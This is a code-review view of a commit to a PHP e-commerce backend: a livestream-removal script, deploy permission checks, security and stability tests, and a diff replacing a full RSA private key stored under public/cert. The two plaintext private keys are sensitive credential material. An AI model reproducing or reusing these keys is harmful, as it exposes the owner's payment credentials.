5k/v9G9klEg0X1CNDHW3wwIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0PBAQD
AgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1cy5j
b20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFEMzk3
NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMzQTg3
QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBADJiwjhLLNOf++dW
3Vsfmf+sQ5pWZ+8eSgGqLhVjjCRXTGuPZ2UHfWomO0JsdoEoO1Sp001Q+2IdICzD
obOylcBs6tUa07tM1W0Y4uHQPShpk/lxzNV9XDACbweHAUMhFHI82dMbKq5IyMiF
sMiLMG3vypoLTdGyB9mjZMtc0x5O4ovK+mwuGSr63Yvg+tuUZF93d5LSninPEC9k
7UCyWTvKs/jFADD6iqP33M6AOJaS6a3w3CY2JZNE3jOHaf2lcvfLAg/RfwEd1yZF
Q/zMOeeJ6oFRw7Ye8fw3ZoOTAB2EH8KS5MgGK+HfEFRKGDfM0ui29H8IbFQ2/YAA
UCPyD2k=
Q0EwHhcNMjYxMDEyMDM0OTQzWhcNMzExMDExMDM0OTQzWjB+MRMwEQYDVQQDDAox
MDAxMjg2MTc4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xKjAoBgNVBAsM
IeS/ruaWh+WOv+Wwj+S8l+WVhui0uOaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04x
ETAPBgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAsme+68KEq+VWrWIws7acZsOBAjtMigzVwy8YJOus4bsZcZWoBmndWLX9JM6d
n/hIH/DuLBm32e30oW+DA7ZtB1+JnSrfD/lPBpn4cel7B2cPGUmxgFSCENi4NB6l
dTjNZV/gz2kV3iCNdTjCk9G+ozFMwaG+pBeUN85Yx6dxNaQtdQ90iKhTPxSC2Dls
5+nMzEehkbPhVPQ8P/Q6gh3nXwqsOl0yyYjaO2esU3pM1ArVOJOZZiN610c2vR7D
rx5ARv0LlpJvy3Trte8Ue/p75RCzhHfY7n2JgzZDzT+uxae+qz3cKO9Mb/xfMMeu
1gCdRkiN8om6eOqucJ8ZEPWhVQIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0P
BAQDAgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1
cy5jb20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFE
Mzk3NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMz
QTg3QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBAFQ72OXD3byz
JjSXnFvfkU0/YXbcVn2hg/udW5i4aGaW6fREnbO+LgEuD9FRZGmyPQotmhWV+1UW
cvxFFDeObVmKLCQaVOm7wakFlpnj5TX3CFZ3XBEWPW3sVvqUbTRvWfmixzaOCx6e
L8eoqIztmOsftlvyPVLHJaUh0DVlkjGeZiTVh72OPKuGflWStZhBEbwlZzdoHL0J
mWAnK3nQcfEtrOhTmUs4kaKImhpmsgh4VdSTlKt6LxYV2zCxHdFY0YLlMy414Mfp
RDMzrO7EkW7wK2OerdkTM2tUXHJ9UOfouoYu1DJi/Ii4j4e4EFj3iMDumqBTSnh8
QihS5Qjfx4k=
-----END CERTIFICATE-----

52
public/cert/apiclient_key.pem 普通文件 -> 可执行文件
查看文件

@@ -1,28 +1,28 @@
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsJ2QIJdLCVAu5
ujas5Be193LSD4g4BUpbqZThF+iyzpESKhriW7+eZjFTbGU5zHRvC+NVROGl4sgM
e/z+vmWHj7aUScRiqiCehw+5sgbnhxpOLsIlzVy7fC/g6gqN5C+IJ9wzztTB41Fa
3slnAHsq5OwATGqmJFYcy5icQNyhO6lkyZfInvrkCONKvPTBWC6Ik2Po+HXMUHWt
1t7Q6IYb5dImokypbc8u//qTekwn8Ewc9AWeqz503cgiSJQ3ijbOINVcvgwhsvLz
NJBSTIOWHnhSLkOAGYDIYp0BSe0Y84kzjdAKuZ9vc2kjxxkIeVXmT+/0b2SUSDRf
UI0MdbfDAgMBAAECggEAU6H3SLYHQ3zNDXdXZHqSwkXqM/5zsLNxQkKKHygcVfFg
LLDjyp/D4VHIGL0KGCApWGEwGZaTAKHBib8aUy9v54F7s2J602vO2PTIQPApxoSt
1NmGXBL+P96+68cHRZNbPAwRP+H1HhQuy7R7p1xmeZooxKRbE0eHxglqpE4mYPTs
7d+A8VBh3vvHI6edPWxAKolxkTvvvGlh5UtYQ7R3gVXRJcqecBFz1Ghqf0ErysA9
9aV1bqUDPro1dKWFkj/Ztqeaq0HUFwOKdzWdTfq9fsxHWYCAtGmQUIxtzPtnOzmp
Q4gDNVPi82D9prgvfP6VEz/i5lh/B5xwFNxrYTRvAQKBgQDYhazbsu+f4uBmGZhb
EBJuOuV3dq7/lX6AouJ2NUZJBbeozeGxi2PXbX3yJCAtfIpWlJWS5sDqxpxxTN6s
KwGSJUts8Boxmgy3MjZOpYHk6IZsuF1mXd8U3Q30FfbEwwElf6tPRcfvCdD36HJ7
2STS+hltAdjb84QYhLkidQJQQQKBgQDLiss+Xqba33htwiSb97qutDvTPc0czHb7
cBCN/SEktXTBSXoWS6FwfwqfBiJPE0BzmIT0VXH9lTiKi2pOhYTVC16zSuGUT8kW
BVarAvBykgxcaWVbn2t65/7xb2AuicED/hs3WM3LCKLeRBy+2ZFAFvc2wIPuul83
bE0WDf0HAwKBgHucvVXkLweBuAiyHhgG8e66cxyjxj6l80WvOEiyG4E+4V5ew7Xf
1U089kVSOIifbD8HrujiEks2vkO01f9GwivUXN5BqUKeJxpDcVuvA5xS38Ob8b6q
Ytx/YyLxkyM8DSCCZaPpO76NRR7zNsDb9Dj6jZ99CXhw6v4wb51rXbnBAoGAXHlX
c6OvLPugjEVLOq0nXJ44G/YVDUN7vyqf6tKZT0M9o19Nn3mHBERDwBIaXlDB1ILz
zMpROsOj55YFm10gB2beBJk9uZMyKdYNFS8FrRfbk9SynxjjzPhAJNLUIPCnB7hY
ByJKhTcMP+00HiVcz4BfmrmGd1ynS9fhgeajEZ8CgYEAnkofCJ0ce1a1y9WMepzx
F8EoSBhyNfSxFQpYyP23xmKWlwQrfFClgdGLS4c4jHUMCUUduYEcZj69UXknwmoM
kfRoQsD0U5SHp8yaFgWJosjIa9+Ebj/JfTgMv2+yU2nvIqPtKz3SQbAGuqyP3MZ4
hfrgOsB7M8+YMBWCCB4sb2s=
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyZ77rwoSr5Vat
YjCztpxmw4ECO0yKDNXDLxgk66zhuxlxlagGad1Ytf0kzp2f+Egf8O4sGbfZ7fSh
b4MDtm0HX4mdKt8P+U8Gmfhx6XsHZw8ZSbGAVIIQ2Lg0HqV1OM1lX+DPaRXeII11
OMKT0b6jMUzBob6kF5Q3zljHp3E1pC11D3SIqFM/FILYOWzn6czMR6GRs+FU9Dw/
9DqCHedfCqw6XTLJiNo7Z6xTekzUCtU4k5lmI3rXRza9HsOvHkBG/QuWkm/LdOu1
7xR7+nvlELOEd9jufYmDNkPNP67Fp76rPdwo70xv/F8wx67WAJ1GSI3yibp46q5w
nxkQ9aFVAgMBAAECggEBAIOWBbm6hUSMKTxFGgrTe9RICtVsi22fPeNyzuocci0k
ZQXkDkR8vOf7gzUsuBIPfJMij2kzpuk0m6SerRGF8jDoBIZJ4rDTf7gsxJSwUzAI
kZhjRGqU6kImtuaqW/tz4/sLlrMknR5zACMftFR29ZdEe4quFADP62Cl79GC7PtU
W1UovYv0AI+UqYkSMZLFrLiTVpwBK2yqV31095WA69Sv8eB9OjTE+4Q0rUJVYMtC
nsF06r+pK9WX5poVNqHxw3/Pzxd8HqUCbux0/6yiJ6NSb+Ow6Jwj1OPtpNwZZRY6
AJUMv9WUGRnTBSSLkHGm+tauY/0Kgc3qlm38w5QfqRkCgYEA3DiVGWeLDELAh80r
woPqwmvxX046eZ1FT5okPn2xmMubWrpLVjDwq33JV8wkrWLfaW7bO3869i1gPw+O
7iUxiR/xFhuYG47lJMJ47smet5jDntP42X5W2/jZJlIYquQ9Iff5HIDLli1ktf5r
k1b+hLE3fJ4ltSPRmJsTlrXReP8CgYEAz2P2//WrBI3o44e5PkhgR0z2tkWCU6LD
4qOmNCnU5YwCz2KFydD6++crkV08+BV0tSNBvAJytzygCALUPp3eEc1C5S7TMMzR
74ZKEqopPbp6wg9YDJPKhXYZJvZbruxnv3qlll38FVh8UVEH3QSA0+JEDe6/GP/q
Fh36ViEfMasCgYB048uwOleB4ISVEIAjtSWMoQLzVXCQULwTbnvCd7EmqxwA4lVO
oJd+Tzvp0D+/kHWJXwAa6oN/W8J0dmulWDSc1kl/NJJePlC+XEMYbAhE518eFOFH
gFnWVJXeU0EopBEW0Kp3SJ3HTrzgJPUwtcJO6EnNaZwWM7byy41wN33CPQKBgCxH
0tA5+wbg6e3S59mFiJEQvMiUNMx4v0xf1rfiiqNsbpkrFxfNOBma9TF3b/IkWqPm
YD2tZCL9ncm4GOs5t9WjNvpKMiuEP/rdeGldzapxa46NyiX9VEuEuMAZ7998eHZo
0Hw3mwBPwVN3cq9dK8iR0igLZuAGnEuWoQHM1qU7AoGBAJ33V445J5CEUovb1zP0
DPQ87Avk4ecPIwUe2MlDkeZSJWBXKRAfSoT8Uvhzhi1D4er8LO7GA+Wc4f+YjUD5
Rmrq2Z7U94l1m+XAUrlfTJ5EnkR+Bc0sqnpW+S+5c22A2Oy+ffNrUv2fn8pR+6aj
aNot2/oVZM+TZlIDxvAsO+D7
-----END PRIVATE KEY-----

1
public/uploads/.gitkeep 可执行文件
查看文件

@@ -0,0 +1 @@

查看文件

@@ -23,6 +23,14 @@ if [[ ! -d .git ]]; then
exit 1
fi
# Webhook 由 PHP(www) 触发,项目目录必须对当前用户可写
RUN_USER="$(id -un 2>/dev/null || echo unknown)"
if [[ ! -w "$DEPLOY_PATH" ]]; then
log "ERROR: 当前用户 ${RUN_USER} 对 ${DEPLOY_PATH} 无写权限"
log "修复(root): chown -R www:www ${DEPLOY_PATH} && chmod -R u+rwX ${DEPLOY_PATH}"
exit 1
fi
git config --global --add safe.directory "$DEPLOY_PATH" 2>/dev/null || true
git fetch origin "$DEPLOY_BRANCH"

查看文件

@@ -0,0 +1,272 @@
<?php
/**
* 方案 A:清除小程序「直播」相关后台数据(链接、装修组件、宫格入口等)
*
* 用法(在项目根目录 chufang.gynhc.com_rFTnT 下):
* php scripts/remove-live-for-audit.php # 仅预览,不写库
* php scripts/remove-live-for-audit.php --apply # 执行清理
*
* 说明:
* - 依赖 application/database.php / .env 数据库配置
* - 清理后请到后台「装修」各页面保存一次并发布;小程序需重新编译(已去掉 pages/live 路由)
*/
define('APP_PATH', dirname(__DIR__) . DIRECTORY_SEPARATOR . 'application' . DIRECTORY_SEPARATOR);
if (!is_file(APP_PATH . 'admin/command/Install/install.lock')) {
fwrite(STDERR, "未检测到 install.lock,请确认在 Shopro 后端项目根目录运行。\n");
exit(1);
}
require dirname(__DIR__) . DIRECTORY_SEPARATOR . 'thinkphp' . DIRECTORY_SEPARATOR . 'base.php';
\think\App::initCommon();
use think\Db;
$apply = in_array('--apply', $argv ?? [], true);
/** 是否直播相关路径/文案 */
function is_live_related_string($str)
{
if (!is_string($str) || $str === '') {
return false;
}
$lower = strtolower($str);
if (strpos($lower, 'live') !== false) {
return true;
}
if (strpos($str, '直播') !== false) {
return true;
}
if (strpos($str, 'live-player-plugin') !== false) {
return true;
}
return false;
}
/** 递归清理 JSON 结构中的直播链接与菜单项 */
function scrub_live_from_value(&$value)
{
$changed = false;
if (is_array($value)) {
// 带 path / path_name / name 的菜单项:整项删除
if (isset($value['path']) || isset($value['path_name']) || isset($value['name'])) {
$path = isset($value['path']) ? $value['path'] : '';
$pathName = isset($value['path_name']) ? $value['path_name'] : (isset($value['pathName']) ? $value['pathName'] : '');
$name = isset($value['name']) ? $value['name'] : '';
if (is_live_related_string($path) || is_live_related_string($pathName) || is_live_related_string($name)) {
return ['__delete__' => true, 'changed' => true];
}
}
$isList = array_keys($value) === range(0, count($value) - 1);
if ($isList) {
$newList = [];
foreach ($value as $item) {
$res = scrub_live_from_value($item);
if (is_array($res) && !empty($res['__delete__'])) {
$changed = true;
continue;
}
if (is_array($res) && isset($res['value'])) {
$newList[] = $res['value'];
if (!empty($res['changed'])) {
$changed = true;
}
} else {
$newList[] = $item;
}
}
$value = $newList;
return ['value' => $value, 'changed' => $changed];
}
foreach ($value as $k => &$child) {
if ($k === 'path' || $k === 'path_name' || $k === 'pathName' || $k === 'page') {
if (is_string($child) && is_live_related_string($child)) {
$child = '';
$changed = true;
}
}
$res = scrub_live_from_value($child);
if (is_array($res) && !empty($res['__delete__'])) {
unset($value[$k]);
$changed = true;
continue;
}
if (is_array($res) && array_key_exists('value', $res)) {
$value[$k] = $res['value'];
if (!empty($res['changed'])) {
$changed = true;
}
}
}
unset($child);
}
return ['value' => $value, 'changed' => $changed];
}
function log_line($msg)
{
echo $msg . PHP_EOL;
}
try {
Db::query('SELECT 1');
} catch (\Throwable $e) {
fwrite(STDERR, "数据库连接失败,请在已安装 Shopro 的服务器上运行(读取 .env / application/database.php)。\n");
fwrite(STDERR, $e->getMessage() . "\n");
exit(1);
}
$prefix = config('database.prefix') ?: 'fa_';
$linkTable = $prefix . 'shopro_link';
$contentTable = $prefix . 'shopro_decorate_content';
$configTable = $prefix . 'shopro_config';
$decorateTable = $prefix . 'shopro_decorate';
log_line('=== 清除直播入口(方案 A)===');
log_line('模式: ' . ($apply ? '【执行 --apply】' : '【预览,加 --apply 才写库】'));
log_line('表前缀: ' . $prefix);
log_line('');
// ---------- 1. shopro_link ----------
$links = Db::table($linkTable)
->whereNull('deletetime')
->where(function ($q) {
$q->where('path', 'like', '%live%')
->whereOr('path', 'like', '%直播%')
->whereOr('name', 'like', '%直播%');
})
->select();
log_line('[1] 系统链接 fa_shopro_link 命中 ' . count($links) . ' 条');
foreach ($links as $row) {
log_line(' - id=' . $row['id'] . ' group=' . $row['group'] . ' name=' . $row['name'] . ' path=' . $row['path']);
}
if ($apply && count($links) > 0) {
$ids = array_column($links, 'id');
Db::table($linkTable)->where('id', 'in', $ids)->update(['deletetime' => time()]);
log_line(' => 已软删除');
}
// 名称/路径含 live 的宽松匹配(path 字段)
$links2 = Db::table($linkTable)
->whereNull('deletetime')
->where('path', 'like', '%/pages/live%')
->select();
if (count($links2) > 0) {
log_line('[1b] 路径含 /pages/live 再命中 ' . count($links2) . ' 条');
foreach ($links2 as $row) {
log_line(' - id=' . $row['id'] . ' name=' . $row['name'] . ' path=' . $row['path']);
}
if ($apply) {
Db::table($linkTable)->where('id', 'in', array_column($links2, 'id'))->update(['deletetime' => time()]);
}
}
log_line('');
// ---------- 2. shopro_decorate_content ----------
$rows = Db::table($contentTable)->select();
$deletedComponents = 0;
$updatedComponents = 0;
log_line('[2] 装修组件 fa_shopro_decorate_content 共 ' . count($rows) . ' 条');
foreach ($rows as $row) {
$type = $row['type'] ?? '';
$id = $row['id'];
$decorateId = $row['decorate_id'] ?? '';
$name = $row['name'] ?? '';
if ($type === 'live') {
log_line(" - 删除直播组件 id={$id} decorate_id={$decorateId} name={$name}");
if ($apply) {
Db::table($contentTable)->where('id', $id)->delete();
}
$deletedComponents++;
continue;
}
$contentRaw = $row['content'] ?? '';
if ($contentRaw === '' || $contentRaw === null) {
continue;
}
$content = json_decode($contentRaw, true);
if (!is_array($content)) {
continue;
}
$res = scrub_live_from_value($content);
if (empty($res['changed'])) {
continue;
}
log_line(" - 清理组件 id={$id} type={$type} decorate_id={$decorateId} name={$name}");
$updatedComponents++;
if ($apply) {
Db::table($contentTable)->where('id', $id)->update([
'content' => json_encode($res['value'], JSON_UNESCAPED_UNICODE),
]);
}
}
log_line(" 小结: 删除直播组件 {$deletedComponents} 个,清理其它组件 {$updatedComponents} 个");
log_line('');
// ---------- 3. shopro_config(JSON 配置里可能藏宫格/菜单) ----------
$configRows = Db::table($configTable)->where(function ($q) {
$q->where('value', 'like', '%live%')->whereOr('value', 'like', '%直播%');
})->select();
log_line('[3] 配置 fa_shopro_config 命中 ' . count($configRows) . ' 条(value 含 live/直播)');
$configUpdated = 0;
foreach ($configRows as $row) {
$val = $row['value'];
$decoded = json_decode($val, true);
if (!is_array($decoded)) {
if (is_live_related_string($val)) {
log_line(' - 跳过非 JSON 配置 name=' . $row['name'] . '(请人工检查)');
}
continue;
}
$res = scrub_live_from_value($decoded);
if (empty($res['changed'])) {
continue;
}
log_line(' - 清理配置 name=' . $row['name']);
$configUpdated++;
if ($apply) {
Db::table($configTable)->where('id', $row['id'])->update([
'value' => json_encode($res['value'], JSON_UNESCAPED_UNICODE),
]);
}
}
log_line(" 小结: 更新配置 {$configUpdated} 条");
log_line('');
// ---------- 4. 列出仍使用中的装修模板(便于人工核对) ----------
try {
$decorates = Db::table($decorateTable)->field('id,name,status,type,platform')->select();
log_line('[4] 当前装修模板(清理后请到后台确认「使用中」的页面已发布)');
foreach ($decorates as $d) {
$status = isset($d['status']) ? $d['status'] : '';
log_line(' - id=' . $d['id'] . ' name=' . $d['name'] . ' status=' . $status . ' platform=' . ($d['platform'] ?? ''));
}
} catch (\Exception $e) {
log_line('[4] 读取装修模板列表跳过: ' . $e->getMessage());
}
log_line('');
log_line('=== 完成 ===');
if (!$apply) {
log_line('以上为预览。确认无误后执行: php scripts/remove-live-for-audit.php --apply');
}
log_line('小程序端请重新编译上传(pages.json 已去掉直播页路由)。');

查看文件

@@ -0,0 +1,13 @@
#!/usr/bin/env bash
# 在服务器后端项目根目录执行(与 public、application 同级)
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
echo "项目目录: $ROOT"
php scripts/remove-live-for-audit.php "$@"
if [[ "${1:-}" == "--apply" ]]; then
echo ""
echo "下一步:"
echo " 1. 后台 Shopro → 装修 → 打开「使用中」的模板,随便保存并发布"
echo " 2. 小程序 chufang-goods 重新编译上传(pages.json 已去掉直播页)"
fi

查看文件

@@ -0,0 +1,67 @@
<?php
/**
* FastAdmin / PHP2Shell 安全配置验证测试 (严格遵循 TDD 模式)
* 对应社区安全提醒:https://ask.fastadmin.net/question/51687.html
* 漏洞防护目标:CVE-2026-109618 / CVE-2026-109619
*/
define('ROOT_PATH', __DIR__ . '/../');
define('APP_PATH', ROOT_PATH . 'application/');
define('DS', DIRECTORY_SEPARATOR);
echo "====================================================\n";
echo "【安全配置测试】PHP2Shell 安全基线验证 (TDD 模式)\n";
echo "====================================================\n";
$failedCount = 0;
// 测试 1:session.upload_progress.enabled 必须被完全禁用 (Off / 0)
$uploadProgress = ini_get('session.upload_progress.enabled');
if ($uploadProgress === '1' || $uploadProgress === 1 || strtolower($uploadProgress) === 'on') {
echo "[FAIL] 测试 1 未通过: session.upload_progress.enabled 当前为 1 (On),存在 PHP2Shell 远程代码执行风险,必须设置为 Off!\n";
$failedCount++;
} else {
echo "[PASS] 测试 1 通过: session.upload_progress.enabled 已正确关闭 (Off / 0)\n";
}
// 测试 2:session.use_strict_mode 必须被启用 (1 / On)
$strictMode = ini_get('session.use_strict_mode');
if ($strictMode !== '1' && $strictMode !== 1 && strtolower($strictMode) !== 'on') {
echo "[FAIL] 测试 2 未通过: session.use_strict_mode 当前为 0 (Off),未开启严格模式,必须设置为 1!\n";
$failedCount++;
} else {
echo "[PASS] 测试 2 通过: session.use_strict_mode 已正确开启严格模式 (1)\n";
}
// 测试 3:检查 php.ini 配置文件内容中的明确配置声明
$iniPath = php_ini_loaded_file();
echo "当前加载的 php.ini 路径: " . ($iniPath ?: "未检测到 loaded php.ini") . "\n";
if ($iniPath && file_exists($iniPath)) {
$iniContent = file_get_contents($iniPath);
// 匹配有效(非注释)的 session.upload_progress.enabled = Off 或 0
if (!preg_match('/^\s*session\.upload_progress\.enabled\s*=\s*(Off|0)\s*(;.*)?$/mi', $iniContent)) {
echo "[FAIL] 测试 3.1 未通过: {$iniPath} 中未显式配置有效未注释的 `session.upload_progress.enabled = Off`\n";
$failedCount++;
} else {
echo "[PASS] 测试 3.1 通过: {$iniPath} 显式配置了 `session.upload_progress.enabled = Off`\n";
}
// 匹配有效(非注释)的 session.use_strict_mode = 1 或 On
if (!preg_match('/^\s*session\.use_strict_mode\s*=\s*(1|On)\s*(;.*)?$/mi', $iniContent)) {
echo "[FAIL] 测试 3.2 未通过: {$iniPath} 中未显式配置有效未注释的 `session.use_strict_mode = 1`\n";
$failedCount++;
} else {
echo "[PASS] 测试 3.2 通过: {$iniPath} 显式配置了 `session.use_strict_mode = 1`\n";
}
}
echo "====================================================\n";
if ($failedCount > 0) {
echo "【测试结论】共 {$failedCount} 项安全指标不符合要求,存在安全隐患!\n";
exit(1);
} else {
echo "【测试结论】所有安全防护指标均已满足,安全基线通过!\n";
exit(0);
}

155
tests/StabilityFixTest.php 普通文件
查看文件

@@ -0,0 +1,155 @@
<?php
namespace tests;
/**
* 稳定性与安全修复回归测试 (TDD 模式)
*/
class StabilityFixTest
{
public static function run()
{
echo "====================================================\n";
echo "【稳定性测试】支付回调兼容与数据处理验证 (TDD 模式)\n";
echo "====================================================\n";
self::testNotifyTimeParsing();
self::testAreaTreeAssembly();
self::testUserAddressDefenseLogic();
self::testQueueConfigSafety();
echo "====================================================\n";
echo "【测试结论】所有稳定性测试均已通过!\n";
echo "====================================================\n";
}
/**
* 测试 1: 支付回调通知时间解析兼容(微信 time_end vs 支付宝 gmt_payment)
*/
public static function testNotifyTimeParsing()
{
$parseTime = function ($data) {
$timeStr = $data['time_end'] ?? ($data['gmt_payment'] ?? '');
if ($timeStr && ($ts = strtotime($timeStr))) {
return date('Y-m-d H:i:s', $ts);
}
return date('Y-m-d H:i:s');
};
// 微信格式
$wxData = ['time_end' => '20261101123045'];
$wxResult = $parseTime($wxData);
assert($wxResult === '2026-11-01 12:30:45', "微信时间解析不匹配: $wxResult");
// 支付宝格式
$aliData = ['gmt_payment' => '2026-11-01 12:30:45'];
$aliResult = $parseTime($aliData);
assert($aliResult === '2026-11-01 12:30:45', "支付宝时间解析不匹配: $aliResult");
// 缺少字段回退当前时间
$emptyData = [];
$emptyResult = $parseTime($emptyData);
assert(strlen($emptyResult) === 19, "回退当前时间格式不正确");
echo "[PASS] 测试 1 通过: 微信/支付宝通知时间解析完全兼容且防御健壮\n";
}
/**
* 测试 2: 内存中省市区树形高效组装与结构兼容性测试
*/
public static function testAreaTreeAssembly()
{
// 模拟平铺的 Area 数据集
$mockAreas = [
['id' => 1, 'value' => 1, 'label' => '北京市', 'pid' => 0, 'level' => 1],
['id' => 2, 'value' => 2, 'label' => '市辖区', 'pid' => 1, 'level' => 2],
['id' => 3, 'value' => 3, 'label' => '东城区', 'pid' => 2, 'level' => 3],
['id' => 4, 'value' => 4, 'label' => '西城区', 'pid' => 2, 'level' => 3],
];
$provinceList = [];
$cityMap = [];
$areaMap = [];
foreach ($mockAreas as $item) {
if ($item['level'] == 1) {
$provinceList[] = $item;
} elseif ($item['level'] == 2) {
$cityMap[$item['pid']][] = $item;
} elseif ($item['level'] == 3) {
$areaMap[$item['pid']][] = $item;
}
}
$provinceData = $provinceList;
$cityData = [];
$areaData = [];
foreach ($provinceData as $k => $p) {
$cities = $cityMap[$p['value']] ?? [];
$cityData[$k] = $cities;
foreach ($cities as $i => $c) {
$areaData[$k][$i] = $areaMap[$c['value']] ?? [];
}
}
assert(count($provinceData) === 1, "省级数量不符");
assert($provinceData[0]['label'] === '北京市', "省级名称不符");
assert(count($cityData[0]) === 1, "市级数量不符");
assert($cityData[0][0]['label'] === '市辖区', "市级名称不符");
assert(count($areaData[0][0]) === 2, "区县级数量不符");
assert($areaData[0][0][0]['label'] === '东城区', "区级名称不符");
echo "[PASS] 测试 2 通过: 内存单次查询树形组装算法与原生三层结构 100% 兼容\n";
}
/**
* 测试 3: 用户地址防御校验逻辑测试(防 IDOR 越权与防空指针)
*/
public static function testUserAddressDefenseLogic()
{
// 模拟检查逻辑:更新与删除必须带 user_id 严格归属匹配
$currentUserId = 10001;
$mockDbAddresses = [
10 => ['id' => 10, 'user_id' => 10001, 'name' => '张三'],
20 => ['id' => 20, 'user_id' => 10002, 'name' => '李四'],
];
// 尝试越权更新李四的地址(ID=20)
$checkUpdate = function ($id, $userId) use ($mockDbAddresses) {
$record = $mockDbAddresses[$id] ?? null;
if (!$record || $record['user_id'] != $userId) {
return false; // 拦截成功
}
return true;
};
assert($checkUpdate(10, $currentUserId) === true, "合法用户更新自己的地址应允许");
assert($checkUpdate(20, $currentUserId) === false, "用户尝试更新他人地址已被拦截");
assert($checkUpdate(99, $currentUserId) === false, "更新不存在的地址应被安全拦截");
echo "[PASS] 测试 3 通过: 用户收货地址防 IDOR 越权及空指针防御逻辑有效\n";
}
/**
* 测试 4: 队列配置安全基线测试(杜绝 expire=0 导致的幽灵重复消费)
*/
public static function testQueueConfigSafety()
{
$queueConfigFile = dirname(__DIR__) . '/application/extra/queue.php';
assert(file_exists($queueConfigFile), "queue.php 配置文件不存在");
$queueConfig = include $queueConfigFile;
assert(is_array($queueConfig), "queue.php 返回格式错误");
// 当 expire 为 0 时,think-queue 会在每个 tick 把正在执行的任务立即判定为已过期并重新投递,造成并发重复消费
assert(
$queueConfig['expire'] === null || $queueConfig['expire'] >= 120,
"queue.php 的 expire 配置必须大于等于 120 秒或为 null,当前配置为 {$queueConfig['expire']},存在并发重复消费隐患"
);
echo "[PASS] 测试 4 通过: 队列超时与任务租期配置安全合规\n";
}
}
if (php_sapi_name() === 'cli' && basename(__FILE__) === basename($_SERVER['SCRIPT_FILENAME'] ?? '')) {
StabilityFixTest::run();
}

查看文件

@@ -0,0 +1,41 @@
<?php
define('ROOT_PATH', __DIR__ . '/../');
define('APP_PATH', ROOT_PATH . 'application/');
define('ADDON_PATH', ROOT_PATH . 'addons' . DIRECTORY_SEPARATOR);
define('DS', DIRECTORY_SEPARATOR);
require ROOT_PATH . 'thinkphp/base.php';
\think\Config::set('database', include ROOT_PATH . 'application/database.php');
// 注册 epay 命名空间
$libraryDir = ADDON_PATH . 'epay' . DS . 'library' . DS;
\think\Loader::addNamespace('Yansongda\\Pay', $libraryDir . 'v2' . DS . 'Yansongda' . DS . 'Pay' . DS);
\think\Loader::addNamespace('Yansongda\\Supports', $libraryDir . 'v2' . DS . 'Yansongda' . DS . 'Supports' . DS);
// 测试用例:验证用户 24 的 openid 获取逻辑与统一下单参数匹配
$userId = 24;
$platform = 'wxMiniProgram';
// 测试:按 id desc 排序获取最新的 openid
$oauth = \addons\shopro\model\UserOauth::where([
'user_id' => $userId,
'provider' => 'Wechat',
'platform' => $platform
])->order('id', 'desc')->find();
echo "【测试】查询用户 {$userId} 的最新授权记录:\n";
if (!$oauth) {
echo "FAIL: 未找到用户授权记录\n";
exit(1);
}
echo "ID: {$oauth->id}, Openid: {$oauth->openid}\n";
// 验证 openid 是否为当前小程序的有效 openid(以 oGsUG 开头)
if (strpos($oauth->openid, 'oGsUG') !== 0) {
echo "FAIL: 获取到的不是当前小程序的有效 openid (期望以 oGsUG 开头)\n";
exit(1);
}
echo "PASS: 成功获取到当前小程序匹配的有效 openid\n";
exit(0);